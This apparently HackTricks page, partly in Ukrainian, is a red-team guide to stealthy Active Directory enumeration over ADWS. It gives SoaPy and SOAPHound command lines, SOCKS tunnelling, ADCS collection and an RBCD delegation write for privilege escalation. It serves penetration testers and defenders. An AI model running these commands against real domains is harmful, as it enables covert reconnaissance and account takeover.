Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
What is ADWS?
Active Directory Web Services (ADWS) is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Despite the name, no HTTP is involved. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Оскільки трафік інкапсульований всередині цих бінарних SOAP-фреймів і передається через рідко використовуваний порт, enumeration через ADWS значно рідше буде інспектуватися, фільтруватися або розпізнаватися за сигнатурами, ніж класичний LDAP/389 & 636 трафік. Для операторів це означає:
- Stealthier recon – Blue teams often concentrate on LDAP queries.
- Можливість збирати дані з non-Windows hosts (Linux, macOS) шляхом тунелювання 9389/TCP через SOCKS proxy.
- Ті самі дані, які ви б отримали через LDAP (users, groups, ACLs, schema тощо) та можливість виконувати writes (наприклад
msDs-AllowedToActOnBehalfOfOtherIdentityдля RBCD).
ADWS interactions are implemented over WS-Enumeration: every query starts with an Enumerate message that defines the LDAP filter/attributes and returns an EnumerationContext GUID, followed by one or more Pull messages that stream up to the server-defined result window. Contexts age out after ~30 minutes, so tooling either needs to page results or split filters (prefix queries per CN) to avoid losing state. When asking for security descriptors, specify the LDAP_SERVER_SD_FLAGS_OID control to omit SACLs, otherwise ADWS simply drops the nTSecurityDescriptor attribute from its SOAP response.
NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity.
SoaPy – Native Python Client
SoaPy is a full re-implementation of the ADWS protocol stack in pure Python. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.
Key Features
- Supports proxying through SOCKS (useful from C2 implants).
- Fine-grained search filters identical to LDAP
-q '(objectClass=user)'. - Optional write operations (
--set/--delete). - BOFHound output mode for direct ingestion into BloodHound.
--parseflag to prettify timestamps /userAccountControlwhen human readability is required.
Targeted collection flags & write operations
SoaPy ships with curated switches that replicate the most common LDAP hunting tasks over ADWS: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds, plus raw --query / --filter knobs for custom pulls. Pair those with write primitives such as --rbcd <source> (sets msDs-AllowedToActOnBehalfOfOtherIdentity), --spn <service/cn> (SPN staging for targeted Kerberoasting) and --asrep (flip DONT_REQ_PREAUTH in userAccountControl).
Example targeted SPN hunt that only returns samAccountName and servicePrincipalName:
soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse
Використайте той самий хост/облікові дані, щоб негайно використовувати знахідки: вивантажте RBCD-capable об’єкти за допомогою --rbcds, потім застосуйте --rbcd 'WEBSRV01$' --account 'FILE01$' для підготовки ланцюга Resource-Based Constrained Delegation (див. Resource-Based Constrained Delegation для повного шляху зловживання).
Встановлення (хост оператора)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
SOAPHound – Збір великого обсягу ADWS (Windows)
FalconForce SOAPHound є .NET-колектором, який тримає всі LDAP-взаємодії всередині ADWS і генерує BloodHound v4-compatible JSON. Він створює повний кеш objectSid, objectGUID, distinguishedName та objectClass один раз (--buildcache), потім повторно використовує його для високопродуктивних проходів --bhdump, --certdump (ADCS) або --dnsdump (AD-integrated DNS), тож лише ~35 критичних атрибутів покидають DC. AutoSplit (--autosplit --threshold <N>) автоматично розбиває запити за префіксом CN, щоб не перевищувати 30‑хвилинний таймаут EnumerationContext у великих лісах.
Типовий робочий процес на VM оператора, приєднаного до домену:
# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output
# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
Експортовані JSON-об’єкти безпосередньо у робочі процеси SharpHound/BloodHound — див. BloodHound methodology для ідей подальшої візуалізації графів. AutoSplit робить SOAPHound стійким у лісах з мільйонами об’єктів, одночасно знижуючи кількість запитів порівняно зі знімками в стилі ADExplorer.
Прихований робочий процес збору AD
Наступний воркфлоу показує, як перелічити доменні & ADCS об’єкти через ADWS, конвертувати їх у BloodHound JSON та шукати шляхи атаки на основі сертифікатів — все це з Linux:
-
Пробросити тунель 9389/TCP з цільової мережі на вашу машину (наприклад через Chisel, Meterpreter, SSH dynamic port-forward тощо). Експортуйте
export HTTPS_PROXY=socks5://127.0.0.1:1080або використайте SoaPy’s--proxyHost/--proxyPort. -
Collect the root domain object:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Зібрати об’єкти, пов’язані з ADCS, з Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Конвертувати в BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Завантажте ZIP у BloodHound GUI та виконайте cypher-запити, наприклад
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c, щоб виявити шляхи ескалації сертифікатів (ESC1, ESC8 тощо).
Запис msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Поєднайте це з s4u2proxy/Rubeus /getticket для повного ланцюга Resource-Based Constrained Delegation (див. Resource-Based Constrained Delegation).
Короткий огляд інструментів
| Призначення | Інструмент | Примітки |
|---|---|---|
| ADWS enumeration | SoaPy | Python, SOCKS, читання/запис |
| High-volume ADWS dump | SOAPHound | .NET, орієнтований на кеш, режими BH/ADCS/DNS |
| BloodHound ingest | BOFHound | Перетворює SoaPy/ldapsearch логи |
| Cert compromise | Certipy | Можна проксувати через той самий SOCKS |
Посилання
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – специфікації MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF
- IBM X-Force Red – Прихована інвентаризація Active Directory середовищ через ADWS
- FalconForce – SOAPHound tool to collect Active Directory data via ADWS
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


